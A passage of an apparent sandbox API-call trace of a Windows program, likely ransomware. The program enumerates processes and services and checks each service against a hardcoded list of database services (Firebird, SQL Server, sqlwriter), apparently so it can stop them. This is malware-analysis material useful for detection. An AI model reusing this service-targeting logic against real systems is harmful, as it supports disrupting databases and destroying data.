(lpString="svchost.exe") returned 11 [0303.405] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.406] lstrlenW (lpString="svchost.exe") returned 11 [0303.406] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.407] lstrlenW (lpString="svchost.exe") returned 11 [0303.407] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.407] lstrlenW (lpString="svchost.exe") returned 11 [0303.407] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.408] lstrlenW (lpString="svchost.exe") returned 11 [0303.408] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.409] lstrlenW (lpString="svchost.exe") returned 11 [0303.409] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.410] lstrlenW (lpString="svchost.exe") returned 11 [0303.410] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0303.410] lstrlenW (lpString="spoolsv.exe") returned 11 [0303.410] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0303.412] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0303.412] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0303.412] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0303.412] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0303.413] lstrlenW (lpString="Memory Compression") returned 18 [0303.413] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.414] lstrlenW (lpString="svchost.exe") returned 11 [0303.414] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0303.415] lstrlenW (lpString="audiodg.exe") returned 11 [0303.415] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0303.416] lstrlenW (lpString="sihost.exe") returned 10 [0303.416] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.416] lstrlenW (lpString="svchost.exe") returned 11 [0303.416] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0303.417] lstrlenW (lpString="taskhostw.exe") returned 13 [0303.417] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0303.418] lstrlenW (lpString="explorer.exe") returned 12 [0303.418] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0303.418] lstrlenW (lpString="SearchUI.exe") returned 12 [0303.418] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0303.419] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0303.419] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0303.420] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0303.420] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0303.420] lstrlenW (lpString="1csrss.exe") returned 10 [0303.421] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.421] lstrlenW (lpString="svchost.exe") returned 11 [0303.421] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0303.422] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0303.422] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.423] lstrlenW (lpString="svchost.exe") returned 11 [0303.423] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0303.423] lstrlenW (lpString="consent.exe") returned 11 [0303.423] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0303.424] CloseHandle (hObject=0x528) returned 1 [0303.424] Sleep (dwMilliseconds=0x1f4) [0303.931] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddfc0 [0303.932] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0303.932] GetLastError () returned 0xea [0303.932] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0303.932] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0303.934] CloseServiceHandle (hSCObject=0x7ddfc0) returned 1 [0303.934] lstrlenW (lpString="Appinfo") returned 7 [0303.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0303.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0303.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0303.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0303.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0303.934] lstrlenW (lpString="AppXSvc") returned 7 [0303.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0303.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0303.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0303.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0303.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0303.935] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0303.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0303.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0303.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0303.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0303.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0303.935] lstrlenW (lpString="Audiosrv") returned 8 [0303.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0303.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0303.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0303.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0303.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0303.935] lstrlenW (lpString="BFE") returned 3 [0303.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0303.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0303.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0303.935] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0303.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0303.935] lstrlenW (lpString="BITS") returned 4 [0303.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0303.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0303.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0303.935] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0303.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0303.935] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0303.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0303.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0303.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0303.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0303.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0303.936] lstrlenW (lpString="CDPSvc") returned 6 [0303.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0303.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0303.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0303.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0303.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0303.936] lstrlenW (lpString="ClickToRunSvc") returned 13 [0303.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0303.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0303.936] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0303.936] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0303.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0303.936] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0303.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0303.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0303.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0303.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0303.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0303.936] lstrlenW (lpString="CryptSvc") returned 8 [0303.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0303.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0303.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0303.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0303.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0303.936] lstrlenW (lpString="DcomLaunch") returned 10 [0303.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0303.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0303.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0303.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0303.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0303.937] lstrlenW (lpString="DeviceAssociationService") returned 24 [0303.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0303.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0303.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0303.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0303.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0303.937] lstrlenW (lpString="Dhcp") returned 4 [0303.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0303.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0303.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0303.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0303.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0303.937] lstrlenW (lpString="Dnscache") returned 8 [0303.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0303.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0303.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0303.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0303.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0303.937] lstrlenW (lpString="DoSvc") returned 5 [0303.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0303.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0303.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0303.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0303.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0303.937] lstrlenW (lpString="DPS") returned 3 [0303.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0303.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0303.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0303.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0303.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0303.938] lstrlenW (lpString="DusmSvc") returned 7 [0303.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0303.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0303.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0303.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0303.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0303.938] lstrlenW (lpString="EventLog") returned 8 [0303.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0303.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0303.938] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0303.938] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0303.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0303.938] lstrlenW (lpString="EventSystem") returned 11 [0303.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0303.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0303.938] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0303.938] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0303.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0303.938] lstrlenW (lpString="FontCache") returned 9 [0303.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0303.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0303.938] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0303.938] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0303.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0303.938] lstrlenW (lpString="gpsvc") returned 5 [0303.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0303.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0303.938] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0303.938] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0303.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0303.939] lstrlenW (lpString="iphlpsvc") returned 8 [0303.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0303.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0303.939] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0303.939] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0303.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0303.939] lstrlenW (lpString="KeyIso") returned 6 [0303.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0303.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0303.939] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0303.939] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0303.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0303.939] lstrlenW (lpString="LanmanServer") returned 12 [0303.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0303.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0303.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0303.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0303.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0303.939] lstrlenW (lpString="LanmanWorkstation") returned 17 [0303.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0303.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0303.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0303.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0303.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0303.939] lstrlenW (lpString="lfsvc") returned 5 [0303.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0303.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0303.939] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0303.939] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0303.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0303.940] lstrlenW (lpString="lmhosts") returned 7 [0303.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0303.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0303.940] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0303.940] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0303.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0303.940] lstrlenW (lpString="LSM") returned 3 [0303.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0303.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0303.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0303.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0303.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0303.940] lstrlenW (lpString="MapsBroker") returned 10 [0303.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0303.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0303.940] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0303.940] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0303.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0303.940] lstrlenW (lpString="MpsSvc") returned 6 [0303.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0303.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0303.940] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0303.940] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0303.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0303.940] lstrlenW (lpString="NcbService") returned 10 [0303.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0303.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0303.941] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0303.941] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0303.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0303.941] lstrlenW (lpString="netprofm") returned 8 [0303.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0303.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0303.941] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0303.941] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0303.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0303.941] lstrlenW (lpString="NgcSvc") returned 6 [0303.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0303.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0303.941] lstrcmpiW 